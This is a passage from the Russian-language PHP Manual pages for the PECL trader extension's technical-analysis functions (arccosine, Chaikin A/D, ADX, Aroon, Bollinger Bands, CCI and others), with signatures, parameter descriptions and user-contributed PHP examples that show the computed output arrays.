  • trader_sinh — Векторный тригонометрический гиперболический синус
  • trader_sma — Простое скользящее среднее
  • trader_sqrt — Векторный квадратный корень
  • trader_stddev — Стандартное отклонение
  • trader_stoch — Стохастический осциллятор
  • trader_stochf — Быстрый стохастический осциллятор
  • trader_stochrsi — Стохастический относительный индекс силы
  • trader_sub — Векторное арифметическое вычитание
  • trader_sum — Суммирование
  • trader_t3 — Тройная экспоненциальная скользящая средняя
  • trader_tan — Векторный тригонометрический тангенс
  • trader_tanh — Тригонометрический вектор Тан
  • trader_tema — Тройная экспоненциальная скользящая средняя
  • trader_trange — Истинный диапазон
  • trader_trima — Треугольная скользящая средняя
  • trader_trix — 1-дневная скорость изменения (ROC) тройной гладкой EMA
  • trader_tsf — Прогноз временного ряда
  • trader_typprice — Типичная цена
  • trader_ultosc — Окончательный, предельный осциллятор
  • trader_var — Вариация
  • trader_wclprice — Взвешенная цена закрытия
  • trader_willr — Процентный диапазон Уильямса
  • trader_wma — Взвешенное скользящее среднее

User Contributed Notes

There are no user contributed notes for this page.


Векторный тригонометрический арккосинус

  • « Функции Trader
  • trader_ad »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический арккосинус

trader_acos

(PECL trader >= 0.2.0)

trader_acos — Векторный тригонометрический арккосинус

Описание

trader_acos(array $real): array

Вычисляет арккосинус дуги для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 05:24
$real = array(1, 0.5, 1, 0.5, 0.2, 0.3, 0.5, 0.8, 0.9, 0.5);
$result = trader_acos($real);
var_dump($result);
/*
array(10) {
  [0]=>
  float(0)
  [1]=>
  float(1.047)
  [2]=>
  float(0)
  [3]=>
  float(1.047)
  [4]=>
  float(1.369)
  [5]=>
  float(1.266)
  [6]=>
  float(1.047)
  [7]=>
  float(0.644)
  [8]=>
  float(0.451)
  [9]=>
  float(1.047)
}
*/


Индикатор Чайкина Накопление/Распродажа

  • « trader_acos
  • trader_add »
  • PHP Manual
  • Функции Trader
  • Индикатор Чайкина Накопление/Распродажа

trader_ad

(PECL trader >= 0.2.0)

trader_ad — Индикатор Чайкина Накопление/Распродажа

Описание

trader_ad(
array $high,
array $low,
array $close,
array $volume
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

volume

Объем торгов, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:55
<?php
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);

$Chaikin_AD_Result = trader_ad($highs, $lows , $closes, $volumes);

var_dump($Chaikin_AD_Result);
/*
array(4) {
  [0]=>
  float(-82373223.639)
  [1]=>
  float(-203965149.4)
  [2]=>
  float(-225327056.292)
  [3]=>
  float(-203499800.064)
}
*/


Арифметическое сложение вектора

  • « trader_ad
  • trader_adosc »
  • PHP Manual
  • Функции Trader
  • Арифметическое сложение вектора

trader_add

(PECL trader >= 0.2.0)

trader_add — Арифметическое сложение вектора

Описание

trader_add(array $real0, array $real1): array

Вычисляет векторное сложение real0 к real1 и возвращает полученный вектор.

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:02
<?php

$result = trader_add([1,2,3,4,5], [6,7,8,9,10]);
var_dump($result);
/*
array(5) {
  [0]=>
  float(7) // 1 + 6
  [1]=>
  float(9) // 2 + 7
  [2]=>
  float(11) // 3 + 8
  [3]=>
  float(13) // 4 + 9
  [4]=>
  float(15) // 5 + 10
}
*/


Осциллятор Чайкина

  • « trader_add
  • trader_adx »
  • PHP Manual
  • Функции Trader
  • Осциллятор Чайкина

trader_adosc

(PECL trader >= 0.2.0)

trader_adosc — Осциллятор Чайкина

Описание

trader_adosc(
array $high,
array $low,
array $close,
array $volume,
int $fastPeriod = ?,
int $slowPeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

volume

Объем торгов, массив реальных значений.

fastPeriod

Номер периода для быстрого скользящего среднего. Допустимы значения от 2 до 100000.

slowPeriod

Номер периода для медленного скользящего среднего. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:54
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);
$volumes = array(177523812.0, 142621128.0, 140843759.0, 98390555.0);
$fast = 2;
$slow = 4;

$Chaikin_AD_Oscillator = trader_adosc($highs , $lows , $closes , $volumes, $fast, $slow);
var_dump($Chaikin_AD_Oscillator);
/*
array(1) {
  [3]=>
  float(-21256590.917)
}
?*/


Средний индекс направленного движения

  • « trader_adosc
  • trader_adxr »
  • PHP Manual
  • Функции Trader
  • Средний индекс направленного движения

trader_adx

(PECL trader >= 0.2.0)

trader_adx — Средний индекс направленного движения

Описание

trader_adx(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

tl4gvx29ku39 at opayq dot com 11-Mar-2021 03:54
After hours of trial and error, I feel fairly confident the adx function works like many others. Insert a block(s) of ohlc data and set a time period for an output.

For example, I am using 48 30-min blocks of ohlc data (1 day). But I wanted the indicators true to design (adx is usually 14 periods) so I would trim the data to 14 periods in and set timePeriods=14 and get errors. No need to do all that. Put the entire 48 period array(s) in and set the period to 14 (or whatever you like). The output is close to online sources. The function will use the last 14 periods or whatever you set to generate the correct output.

The best/closest I can find for a manual to these functions is located tulipindicators dot org which you can test using excel with a free plugin at tulipcell dot org.

I was able to pull my historical indicator data generated with these functions and was able to recreate the numbers which matched closely to online trading platforms.
geekgirl dot joy at gmail dot com 07-Feb-2021 07:48
<?php
// Per wikipedia ADX is "an indicator of trend strength in a series of prices of a financial instrument."
// The original implementation used 14 days.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor(count($highs) / 2); // Per Wikipedia on the ADX indicator calculation:
                                         // UpMove = today's high ? yesterday's high
                                         // DownMove = yesterday's low ? today's low
                                         //
                                         // Thence: The maximal length for $time_period
                                         // is: floor(count($the_number_of_samples) / 2);

var_dump(trader_adx($highs, $lows, $closes, $time_period));
/*
array(1) {
  [13]=>
  float(48.909)
}
*/


Средний рейтинг индекса направленного движения

  • « trader_adx
  • trader_apo »
  • PHP Manual
  • Функции Trader
  • Средний рейтинг индекса направленного движения

trader_adxr

(PECL trader >= 0.2.0)

trader_adxr — Средний рейтинг индекса направленного движения

Описание

trader_adxr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 07-Feb-2021 09:28
<?php
// ADXR measures the difference in the change of momentum in the ADX.
// The ADXR is equal to the current ADX plus the ADX from n datapoints previous, divided by 2.

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = floor((count($highs)-2) / 2)-2;

var_dump(trader_adxr($highs, $lows, $closes, $time_period));
/*
array(4) {
  [10]=>
  float(41.004)
  [11]=>
  float(44.783)
  [12]=>
  float(50.257)
  [13]=>
  float(43.597)
}
*/


Абсолютный ценовой осциллятор

  • « trader_adxr
  • trader_aroon »
  • PHP Manual
  • Функции Trader
  • Абсолютный ценовой осциллятор

trader_apo

(PECL trader >= 0.2.0)

trader_apo — Абсолютный ценовой осциллятор

Описание

trader_apo(
array $real,
int $fastPeriod = ?,
int $slowPeriod = ?,
int $mAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

fastPeriod

Номер периода для быстрого скользящего среднего. Допустимы значения от 2 до 100000.

slowPeriod

Номер периода для медленного скользящего среднего. Допустимы значения от 2 до 100000.

mAType

Тип скользящей средней. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:23
<?php
/*
APO crossing above zero is "bullish", crossing below zero is "bearish".
Positive values are "upward movement", Negative values are "downward movement",
*/

$mATypes = array(TRADER_MA_TYPE_SMA,  // Simple Moving Average
                 TRADER_MA_TYPE_EMA,  // Exponential Moving Average
                 TRADER_MA_TYPE_WMA,  // Weighted Moving Average
                 TRADER_MA_TYPE_DEMA, // Double Exponential Moving Average
                 TRADER_MA_TYPE_TEMA, // Triple Exponential Moving Average
                 TRADER_MA_TYPE_TRIMA,// Triangular Moving Average
                 TRADER_MA_TYPE_KAMA, // Kaufman's Adaptive Moving Average
                 TRADER_MA_TYPE_MAMA, // MESA Adaptive Moving Average
                 TRADER_MA_TYPE_T3);  // T3 Moving Average

$fast_period = 12;
$slow_period = 30;

$closes = array(131.96, 137.09, 142.06, 143.16, 142.92, 139.07, 136.87, 132.03, 127.83, 127.14, 128.91, 130.89, 128.8, 128.98, 132.05, 130.92, 126.6, 131.01, 129.41, 132.69, 133.72, 134.87, 136.69, 131.97, 130.96, 131.88, 128.23, 126.655, 128.7, 127.81, 127.88, 121.78, 122.41, 123.24, 121.78, 124.38, 123.75, 122.25, 122.94, 123.08, 122.72, 119.05, 116.59, 116.03, 115.17, 113.85, 117.34, 118.64, 118.03, 119.39, 120.3, 119.26, 119.21, 119.49, 115.97, 116.32, 118.69, 119.03, 114.95, 110.44, 108.77, 108.86, 115.32, 111.2, 116.6, 115.05, 115.04, 115.75, 116.87, 117.51, 115.98, 119.02, 120.71, 121.19, 121.1, 124.4, 116.97, 114.97, 115.08, 113.16, 116.5, 113.02, 116.79, 115.81, 114.09, 114.96, 112.28, 108.22, 107.12, 111.81, 110.08, 106.84, 110.34, 112.13, 115.54, 115.355, 112, 113.49, 117.32, 112.82);

$Absolute_Price_Oscillators = array();

foreach($mATypes as $mA){

    $key = 'sma';
    if($mA == TRADER_MA_TYPE_EMA){$key = 'ema';}
    elseif($mA == TRADER_MA_TYPE_WMA){$key = 'wma';}
    elseif($mA == TRADER_MA_TYPE_DEMA){$key = 'dema';}
    elseif($mA == TRADER_MA_TYPE_TEMA){$key = 'tema';}
    elseif($mA == TRADER_MA_TYPE_TRIMA){$key = 'trima';}
    elseif($mA == TRADER_MA_TYPE_KAMA){$key = 'kama';}
    elseif($mA == TRADER_MA_TYPE_MAMA){$key = 'mama';}
    elseif($mA == TRADER_MA_TYPE_T3){$key = 't3';}

    $Absolute_Price_Oscillators[$key] = trader_apo ($closes, $fast_period, $slow_period, $mA);
}

var_dump($Absolute_Price_Oscillators['sma']);
/*
array(71) {
  [29]=>
  float(-1.264)
  [30]=>
  float(-1.255)
  [31]=>
  float(-1.654)
  [32]=>
  float(-1.942)
  [33]=>
  float(-2.247)
  [34]=>
  float(-2.785)
  [35]=>
  float(-2.927)
  [36]=>
  float(-3.091)
  [37]=>
  float(-3.567)
  [38]=>
  float(-3.845)
  [39]=>
  float(-4.008)
  [40]=>
  float(-4.3)
  [41]=>
  float(-4.635)
  [42]=>
  float(-5.169)
  [43]=>
  float(-5.217)
  [44]=>
  float(-5.257)
  [45]=>
  float(-5.471)
  [46]=>
  float(-5.532)
  [47]=>
  float(-5.598)
  [48]=>
  float(-5.695)
  [49]=>
  float(-5.49)
  [50]=>
  float(-5.263)
  [51]=>
  float(-5.061)
  [52]=>
  float(-4.771)
  [53]=>
  float(-4.318)
  [54]=>
  float(-3.87)
  [55]=>
  float(-3.327)
  [56]=>
  float(-2.716)
  [57]=>
  float(-2.03)
  [58]=>
  float(-1.771)
  [59]=>
  float(-1.875)
  [60]=>
  float(-2.01)
  [61]=>
  float(-2.457)
  [62]=>
  float(-2.636)
  [63]=>
  float(-2.906)
  [64]=>
  float(-2.951)
  [65]=>
  float(-3.01)
  [66]=>
  float(-2.797)
  [67]=>
  float(-2.628)
  [68]=>
  float(-2.577)
  [69]=>
  float(-2.518)
  [70]=>
  float(-2.208)
  [71]=>
  float(-1.492)
  [72]=>
  float(-0.634)
  [73]=>
  float(0.222)
  [74]=>
  float(0.506)
  [75]=>
  float(1.254)
  [76]=>
  float(1.297)
  [77]=>
  float(1.413)
  [78]=>
  float(1.515)
  [79]=>
  float(1.506)
  [80]=>
  float(1.602)
  [81]=>
  float(1.436)
  [82]=>
  float(1.584)
  [83]=>
  float(1.439)
  [84]=>
  float(0.95)
  [85]=>
  float(0.477)
  [86]=>
  float(-0.045)
  [87]=>
  float(-1.033)
  [88]=>
  float(-1.593)
  [89]=>
  float(-1.902)
  [90]=>
  float(-2.362)
  [91]=>
  float(-2.821)
  [92]=>
  float(-3.169)
  [93]=>
  float(-3.274)
  [94]=>
  float(-3.343)
  [95]=>
  float(-3.391)
  [96]=>
  float(-3.464)
  [97]=>
  float(-3.511)
  [98]=>
  float(-3.106)
  [99]=>
  float(-2.566)
}
*/


Индикатор Aroon

  • « trader_apo
  • trader_aroonosc »
  • PHP Manual
  • Функции Trader
  • Индикатор Aroon

trader_aroon

(PECL trader >= 0.2.0)

trader_aroon — Индикатор Aroon

Описание

trader_aroon(array $high, array $low, int $timePeriod = ?): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:44
<?php
/*
The Aroon indicator is used to identify price trend changes as well as the strength of the trend.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroon($highs, $lows, $time_period));

/*
array(2) {
  [0]=>
  array(9) {
    [5]=>
    float(60)
    [6]=>
    float(40)
    [7]=>
    float(100)
    [8]=>
    float(100)
    [9]=>
    float(100)
    [10]=>
    float(80)
    [11]=>
    float(60)
    [12]=>
    float(40)
    [13]=>
    float(20)
  }
  [1]=>
  array(9) {
    [5]=>
    float(40)
    [6]=>
    float(20)
    [7]=>
    float(0)
    [8]=>
    float(40)
    [9]=>
    float(20)
    [10]=>
    float(0)
    [11]=>
    float(0)
    [12]=>
    float(60)
    [13]=>
    float(40)
  }
}
*/


Осциллятор индикатора Aroon

  • « trader_aroon
  • trader_asin »
  • PHP Manual
  • Функции Trader
  • Осциллятор индикатора Aroon

trader_aroonosc

(PECL trader >= 0.2.0)

trader_aroonosc — Осциллятор индикатора Aroon

Описание

trader_aroonosc(array $high, array $low, int $timePeriod = ?): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:48
<?php
/*
The Aroon Oscillator uses the Aroon Indicator to gauge the strength of a trend and the likelihood that it will continue.
*/

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);

$time_period = 5;

var_dump(trader_aroonosc($highs, $lows, $time_period));
/*
array(9) {
  [5]=>
  float(-20)
  [6]=>
  float(-20)
  [7]=>
  float(-100)
  [8]=>
  float(-60)
  [9]=>
  float(-80)
  [10]=>
  float(-80)
  [11]=>
  float(-60)
  [12]=>
  float(20)
  [13]=>
  float(20)
}
*/


Векторный тригонометрический арксинус

  • « trader_aroonosc
  • trader_atan »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический арксинус

trader_asin

(PECL trader >= 0.2.0)

trader_asin — Векторный тригонометрический арксинус

Описание

trader_asin(array $real): array

Вычисляет арксинус для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Векторный тригонометрический арктангенс

  • « trader_asin
  • trader_atr »
  • PHP Manual
  • Функции Trader
  • Векторный тригонометрический арктангенс

trader_atan

(PECL trader >= 0.2.0)

trader_atan — Векторный тригонометрический арктангенс

Описание

trader_atan(array $real): array

Вычисляет арктангенс для каждого значения в real и возвращает результирующий массив.

Список параметров

real

Массив, содержащий реальные значения.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Средний истинный диапазон

  • « trader_atan
  • trader_avgprice »
  • PHP Manual
  • Функции Trader
  • Средний истинный диапазон

trader_atr

(PECL trader >= 0.2.0)

trader_atr — Средний истинный диапазон

Описание

trader_atr(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 15-Feb-2021 04:56
<?php
// Average True Range is a volatility indicator and does not indicate trend, only volatility
$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 5;
var_dump(trader_atr($highs, $lows, $closes, $time_period));
/*
array(9) {
  [5]=>
  float(5.74)
  [6]=>
  float(5.384)
  [7]=>
  float(5.005)
  [8]=>
  float(4.962)
  [9]=>
  float(5.388)
  [10]=>
  float(5.05)
  [11]=>
  float(5.108)
  [12]=>
  float(5.136)
  [13]=>
  float(5.063)
}
*/


Средняя цена

  • « trader_atr
  • trader_bbands »
  • PHP Manual
  • Функции Trader
  • Средняя цена

trader_avgprice

(PECL trader >= 0.2.0)

trader_avgprice — Средняя цена

Описание

trader_avgprice(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 06:35
<?php
$p =  trader_avgprice([1,2] , [1.2, 3] , [0.99, 2] , [1.2, 2.5]);
var_dump($p);
/*
array(2) {
  [0]=>
  float(1.097) // (1 + 1.2 + 0.99 + 1.2) / 4
  [1]=>
  float(2.375) // (2 + 3 + 2 + 2.5) / 4
}
*/


Полосы Боллинджера

  • « trader_avgprice
  • trader_beta »
  • PHP Manual
  • Функции Trader
  • Полосы Боллинджера

trader_bbands

(PECL trader >= 0.2.0)

trader_bbands — Полосы Боллинджера

Описание

trader_bbands(
array $real,
int $timePeriod = ?,
float $nbDevUp = ?,
float $nbDevDn = ?,
int $mAType = ?
): array

Список параметров

real

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

nbDevUp

Отклоняющий множитель для верхней полосы. Допустимы значения от TRADER_REAL_MIN до TRADER_REAL_MAX.

nbDevDn

Отклоняющий множитель для нижней полосы. Допустимы значения от TRADER_REAL_MIN до TRADER_REAL_MAX.

mAType

Тип скользящей средней. Следует использовать серию констант TRADER_MA_TYPE_*.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 17-Feb-2021 08:33
<?php

// According to Wikipedia and the internet:
// Bollinger Bands chart the price and volatility of a financial instrument over time
// and yield an "envelope" minimum and maximum and middle "bands" of moving averages
// which provide a relative definition of high and low market prices
// Prices are "high" at or near the upper band and "low" at or near the lower band.
// Bollinger Bands are considered useful for pattern recognition

$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);
$time_period = 5;
$upper_deviation_multiplier = 2.0;
$lower_deviation_multiplier = 2.0;

$ma_type = TRADER_MA_TYPE_SMA;  // Simple Moving Average
           //TRADER_MA_TYPE_EMA   - Exponential Moving Average
           //TRADER_MA_TYPE_WMA   - Weighted Moving Average
           //TRADER_MA_TYPE_DEMA  - Double Exponential Moving Average
           //TRADER_MA_TYPE_TEMA  - Triple Exponential Moving Average
           //TRADER_MA_TYPE_TRIMA - Triangular Moving Average
           //TRADER_MA_TYPE_KAMA  - Kaufman's Adaptive Moving Average
           //TRADER_MA_TYPE_MAMA  - MESA Adaptive Moving Average
           //TRADER_MA_TYPE_T3)   - T3 Moving Average

var_dump(trader_bbands($closes, $time_period, $upper_deviation_multiplier, $lower_deviation_multiplier, $ma_type));

// Index 0 is "upper" band.
// Index 1 is "middle" band.
// Index 2 is "lower" band.

/*
array(3) {
  [0]=>
  array(10) {
    [4]=>
    float(118.025)
    [5]=>
    float(118.401)
    [6]=>
    float(116.739)
    [7]=>
    float(117.153)
    [8]=>
    float(118.563)
    [9]=>
    float(116.676)
    [10]=>
    float(113.996)
    [11]=>
    float(113.114)
    [12]=>
    float(112.577)
    [13]=>
    float(113.892)
  }
  [1]=>
  array(10) {
    [4]=>
    float(114.197)
    [5]=>
    float(114.741)
    [6]=>
    float(113.703)
    [7]=>
    float(113.073)
    [8]=>
    float(112.041)
    [9]=>
    float(110.986)
    [10]=>
    float(110.24)
    [11]=>
    float(109.238)
    [12]=>
    float(108.814)
    [13]=>
    float(109.902)
  }
  [2]=>
  array(10) {
    [4]=>
    float(110.369)
    [5]=>
    float(111.081)
    [6]=>
    float(110.667)
    [7]=>
    float(108.993)
    [8]=>
    float(105.519)
    [9]=>
    float(105.296)
    [10]=>
    float(106.484)
    [11]=>
    float(105.362)
    [12]=>
    float(105.051)
    [13]=>
    float(105.912)
  }
}
*/


Бета

  • « trader_bbands
  • trader_bop »
  • PHP Manual
  • Функции Trader
  • Бета

trader_beta

(PECL trader >= 0.2.0)

trader_beta — Бета

Описание

trader_beta(array $real0, array $real1, int $timePeriod = ?): array

Список параметров

real0

Массив, содержащий реальные значения.

real1

Массив, содержащий реальные значения.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Баланс сил

  • « trader_beta
  • trader_cci »
  • PHP Manual
  • Функции Trader
  • Баланс сил

trader_bop

(PECL trader >= 0.2.0)

trader_bop — Баланс сил

Описание

trader_bop(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 31-Jan-2021 07:21
<?php

$opens = array(135.83, 139.52, 143.43, 143.6);
$highs = array(136.74, 141.99, 144.3, 144.3);
$lows = array(130.21, 136.7, 140.41, 141.37);
$closes = array(131.96, 137.09, 142.06, 143.16);

// (Close - Open) / (High - Low)
$Balance_Of_Power = trader_bop($opens, $highs, $lows, $closes);

var_dump($Balance_Of_Power);
/*
array(4) {
  [0]=>
  float(-0.593) // (131.96 - 135.83) / (136.74 - 130.21)
  [1]=>
  float(-0.459) // (137.09 - 139.52) / (141.99 - 136.7)
  [2]=>
  float(-0.352) // (142.06 - 143.43) / (144.3 - 140.41)
  [3]=>
  float(-0.15)  // (143.16 - 143.6) / (144.3 - 141.37)
}
*/


Индекс товарного канала

  • « trader_bop
  • trader_cdl2crows »
  • PHP Manual
  • Функции Trader
  • Индекс товарного канала

trader_cci

(PECL trader >= 0.2.0)

trader_cci — Индекс товарного канала

Описание

trader_cci(
array $high,
array $low,
array $close,
int $timePeriod = ?
): array

Список параметров

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

timePeriod

Номер периода. Допустимы значения от 2 до 100000.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

geekgirl dot joy at gmail dot com 03-Mar-2021 07:31
<?php

// The CCI (Commodity Channel Index) is an oscillator that
// relies on historical price momentum to determine if it is "overbought" or "oversold".
// When greater than zero the price is "above" the historic average.
// When less than zero the price is "below" the historic average.
// Investopedia claims:
// "The CCI is an unbounded oscillator, meaning it can go higher or lower indefinitely. For this reason, overbought and oversold levels are typically determined for each individual asset by looking at historical extreme CCI levels where the price reversed from."

$highs = array(118.99, 119.14, 120.5, 115.23, 115.93, 118.829, 116, 112.2, 110.88, 110.19, 112.86, 112.11, 110.25, 112.44);
$lows = array(112.68, 115.26, 112.5, 110, 112.8, 113.61, 112.04, 108.71, 106.09, 103.1, 109.16, 106.77, 105, 107.67);
$closes = array(112.82, 117.32, 113.49, 112, 115.355, 115.54, 112.13, 110.34, 106.84, 110.08, 111.81, 107.12, 108.22, 112.28);

$time_period = 7;

var_dump(trader_cci ($highs, $lows, $closes, $time_period));
/*
array(8) {
  [6]=>
  float(-83.234)
  [7]=>
  float(-137.329)
  [8]=>
  float(-145.78)
  [9]=>
  float(-101.047)
  [10]=>
  float(-9.331)
  [11]=>
  float(-59.339)
  [12]=>
  float(-66.964)
  [13]=>
  float(76.143)
}
*/


Две вороны

  • « trader_cci
  • trader_cdl3blackcrows »
  • PHP Manual
  • Функции Trader
  • Две вороны

trader_cdl2crows

(PECL trader >= 0.2.0)

trader_cdl2crows — Две вороны

Описание

trader_cdl2crows(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Три чёрных ворона

  • « trader_cdl2crows
  • trader_cdl3inside »
  • PHP Manual
  • Функции Trader
  • Три чёрных ворона

trader_cdl3blackcrows

(PECL trader >= 0.2.0)

trader_cdl3blackcrows — Три чёрных ворона

Описание

trader_cdl3blackcrows(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Три дня изнутри вверх и три дня изнутри вниз

  • « trader_cdl3blackcrows
  • trader_cdl3linestrike »
  • PHP Manual
  • Функции Trader
  • Три дня изнутри вверх и три дня изнутри вниз

trader_cdl3inside

(PECL trader >= 0.2.0)

trader_cdl3inside — Три дня изнутри вверх и три дня изнутри вниз

Описание

trader_cdl3inside(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

Низкая цена, массив реальных значений.

close

Цена закрытия, массив реальных значений.

Возвращаемые значения

Возвращает массив с вычисленными данными или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Тройной удар

  • « trader_cdl3inside
  • trader_cdl3outside »
  • PHP Manual
  • Функции Trader
  • Тройной удар

trader_cdl3linestrike

(PECL trader >= 0.2.0)

trader_cdl3linestrike — Тройной удар

Описание

trader_cdl3linestrike(
array $open,
array $high,
array $low,
array $close
): array

Список параметров

open

Цена открытия, массив реальных значений.

high

Высокая цена, массив реальных значений.

low

